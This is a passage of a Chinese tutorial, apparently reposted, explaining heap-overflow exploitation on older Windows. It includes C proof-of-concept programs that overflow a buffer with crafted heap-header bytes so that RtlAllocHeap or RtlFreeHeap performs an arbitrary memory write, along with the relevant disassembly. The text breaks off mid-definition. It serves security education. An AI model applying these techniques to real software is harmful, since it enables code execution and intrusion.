总结windows下堆溢出的三种利用方式

类别:软件工程 点击:0 评论:0 推荐:

转自安焦

总结windows下堆溢出的三种利用方式

1.利用RtlAllocHeap
这是ISNO提到的,看这个例子

main (int argc, char *argv[])
{
??char *buf1, *buf2;
??char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x03\x00\x05\x00\x00\x01\x08\x00\x11\x11\x11\x11\x21\x21\x21\x21";

??buf1 = (char*)malloc (32); /* 分配两块内存 */
??memcpy (buf1, s, 32+16); /* 这里多复制16个字节 */

??buf2 = (char*)malloc (16);

??free (buf1);
??free (buf2);

??return 0;
}

在给buf1完成malloc之后,返回的地址(buf1)是个指针,指向的内存分配情况是这样

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)

在给buf2完成malloc之后,buf1指向的内存分配情况是这样

buf1的管理结构(8bytes)|buf1真正可操作空间(32bytes)|buf2的管理结构(8bytes)|buf2真正可操作空间(16bytes)|两个双链表指针(8bytes)

现在如果在buf2分配空间之前,buf1的memcpy操作溢出,并且覆盖了
下一个空闲堆的管理结构(8bytes)|两个双链表指针(8bytes)
共16个字节的时候,就会造成buf2的RtlAllocHeap操作异常。原因看RtlAllocHeap的这段代码

001B:77FCC453??8901????????????????MOV?????? [ECX],EAX
001B:77FCC455??894804??????????????MOV?????? [EAX+04],ECX

此时ECX指向两个双链表指针(8bytes)的后一个指针(0x21212121),EAX指向前一个指针(0x11111111)。类似于 format string溢出,可以写任意数据到任意地址,这种情况比较简单,前提是在buf2分配空间之前buf1有溢出的机会

2.利用RtlFreeHeap的方式一
这是ilsy提到的,看例子

main (int argc, char *argv[])
{
??char *buf1, *buf2;
??char s[] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x03\x00\x05\x00\x00\x09";

??buf1 = (char*)malloc (32); /* 分配两块内存 */
??buf2 = (char*)malloc (16);

??memcpy (buf1, s, 32+6); /* 这里多复制6个字节 */

??free (buf1);
??free (buf2);

??return 0;
}

由于buf1多复制了6个字节,这6个字节会覆盖掉buf2的管理结构,在free(buf2)时会发生异常。只要我们精心构造这个6个字节就可以达到目的

先看看8字节管理结构的定义(从windows源码中找到)
typedef struct _HEAP_ENTRY {

????//
????//??This field gives the size of the current block in allocation
????//??granularity units.??(i.e. Size

本文地址:http://com.8s8s.com/it/it35992.htm